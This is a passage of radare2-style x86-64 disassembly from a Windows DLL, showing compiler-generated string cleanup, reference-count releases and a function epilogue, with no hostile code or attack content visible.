movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x250], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800a7730
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x430], xmm6
movups xmmword [rbp + 0x440], xmm7
cmp rdx, 0x10
jb 0x180092f9e
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092f99
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093758
call fcn.1800afef0
mov rdx, qword [rbp + 0x258]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x180092fe9
mov rcx, qword [rbp + 0x240]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092fe4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093758
call fcn.1800afef0
mov rdx, qword [rbp + 0x278]
mov qword [rbp + 0x250], r15
mov qword [rbp + 0x258], 0xf
mov byte [rbp + 0x240], r15b
cmp rdx, 0x10
jb 0x180093043
mov rcx, qword [rbp + 0x260]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009303e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093758
call fcn.1800afef0
mov rdx, qword [rbp + 0x298]
mov qword [rbp + 0x270], r15
mov qword [rbp + 0x278], 0xf
mov byte [rbp + 0x260], r15b
cmp rdx, 0x10
jb 0x18009309d
mov rcx, qword [rbp + 0x280]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093098
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093758
call fcn.1800afef0
mov rdx, qword [rbp + 0x2b8]
mov qword [rbp + 0x290], r15
mov qword [rbp + 0x298], 0xf
mov byte [rbp + 0x280], r15b
cmp rdx, 0x10
jb 0x1800930f7
mov rcx, qword [rbp + 0x2a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800930f2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093758
call fcn.1800afef0
mov rdx, qword [rbp + 0x2d8]
mov qword [rbp + 0x2b0], r15
mov qword [rbp + 0x2b8], 0xf
mov byte [rbp + 0x2a0], r15b
cmp rdx, 0x10
jb 0x180093151
mov rcx, qword [rbp + 0x2c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009314c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093758
call fcn.1800afef0
mov rdx, qword [rbp + 0x2f8]
mov qword [rbp + 0x2d0], r15
mov qword [rbp + 0x2d8], 0xf
mov byte [rbp + 0x2c0], r15b
cmp rdx, 0x10
jb 0x1800931ab
mov rcx, qword [rbp + 0x2e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800931a6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093758
call fcn.1800afef0
mov rdx, qword [rbp + 0x318]
mov qword [rbp + 0x2f0], r15
mov qword [rbp + 0x2f8], 0xf
mov byte [rbp + 0x2e0], r15b
cmp rdx, 0x10
jb 0x180093205
mov rcx, qword [rbp + 0x300]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093200
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093758
call fcn.1800afef0
mov rdx, qword [rbp + 0x348]
mov qword [rbp + 0x310], r15
mov qword [rbp + 0x318], 0xf
mov byte [rbp + 0x300], r15b
cmp rdx, 0x10
jb 0x18009325f
mov rcx, qword [rbp + 0x330]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009325a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093758
call fcn.1800afef0
mov rdx, qword [rbp + 0x178]
mov qword [rbp + 0x340], r15
mov qword [rbp + 0x348], 0xf
mov byte [rbp + 0x330], r15b
cmp rdx, 0x10
jb 0x1800932b9
mov rcx, qword [rbp + 0x160]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800932b4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093758
call fcn.1800afef0
mov rdi, qword [rsp + 0x40]
inc dword [0x180106364]
mov r8, qword [rbp + 0xc0]
movabs r14, 0x2aaaaaaaaaaaaaab
mov rcx, qword [rbp + 0xc8]
mov rax, r14
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x108]
cmovne rax, r8
mov rcx, qword [rax]
lea rax, [rbp + 0x108]
sub rcx, qword [rbp + 0xb0]
test rdx, rdx
cmovne rax, r8
cmp byte [rax + 0x10], r15b
je 0x180093325
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x18], xmm0
jmp 0x18009332d
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x18], xmm0
sub rcx, qword [rbp - 0x18]
add rcx, qword [rbp - 0x10]
mov rdx, qword [rsp + 0x68]
add rbx, rcx
mov rax, qword [rsp + 0x50]
jmp 0x180092250
call qword [0x180106328]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x180093388
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093383
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093716
call fcn.1800afef0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x1800933c3
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800933be
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093716
call fcn.1800afef0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x1800933ff
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800933fa
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093716
call fcn.1800afef0
mov r8, qword [rbp + 0xc0]
test r8, r8
je 0x180093470
mov rcx, qword [rbp + 0xd0]
mov rax, r14
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, r8
lea rdx, [rdx + rdx*2]
shl rdx, 3
cmp rdx, 0x1000
jb 0x180093456
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093716
mov rcx, r8
call fcn.1800afef0
xorps xmm0, xmm0
mov qword [rbp + 0xd0], r15
movdqa xmmword [rbp + 0xc0], xmm0
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x1800934ab
mov eax, r12d
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x1800934ab
mov rbx, qword [rbp + 0x10]
test rbx, rbx
je 0x1800934ab
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], r15
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009348f
mov rcx, qword [rbp + 0x30]
mov qword [rbp + 0x10], r15
test rcx, rcx
je 0x1800934d1
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1800934d1
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rcx, qword [rbp + 0x38]
test rcx, rcx
je 0x18009350c
mov eax, r12d
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x18009350c
mov rbx, qword [rbp + 0x38]
test rbx, rbx
je 0x18009350c
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], r15
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x1800934f0
mov rcx, qword [rbp + 0x58]
mov qword [rbp + 0x38], r15
test rcx, rcx
je 0x180093532
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180093532
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rbp + 0x60]
test rax, rax
je 0x18009356c
lock xadd dword [rax + 0x2c], r12d
cmp r12d, 1
jne 0x18009356c
mov rbx, qword [rbp + 0x60]
test rbx, rbx
je 0x18009356c
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], r15
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x180093550
mov rcx, qword [rbp + 0x80]
mov qword [rbp + 0x60], r15
test rcx, rcx
je 0x180093595
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180093595
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov r15, qword [rbp + 0x4f0]
movups xmm0, xmmword [rsp + 0x30]
mov rdx, qword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [r15], xmm0
movups xmmword [r15 + 0x10], xmm1
cmp rdx, 0x10
jb 0x1800935ec
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800935e7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009371c
call fcn.1800afef0
mov rdx, qword [rbp + 0xa0]
xor ebx, ebx
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], bl
cmp rdx, 0x10
jb 0x180093641
mov rcx, qword [rbp + 0x88]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009363c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009371c
call fcn.1800afef0
mov rdx, qword [r13 + 0x18]
mov qword [rbp + 0x98], rbx
mov qword [rbp + 0xa0], 0xf
mov byte [rbp + 0x88], bl
cmp rdx, 0x10
jb 0x180093694
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x18009368f
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009371c
mov rcx, r8
call fcn.1800afef0
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], 0xf
mov byte [r13], bl
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x1800936da
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x1800936d5
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009371c
mov rcx, r8
call fcn.1800afef0
mov qword [rsi + 0x10], rbx
mov byte [rsi], bl
movaps xmm6, xmmword [rsp + 0x5a0]
mov rax, r15
movaps xmm7, xmmword [rsp + 0x590]
mov rbx, qword [rsp + 0x5f8]
mov qword [rsi + 0x18], 0xf
add rsp, 0x5b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.180089a70
int3
call fcn.180089a70
int3
call fcn.180089a70
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3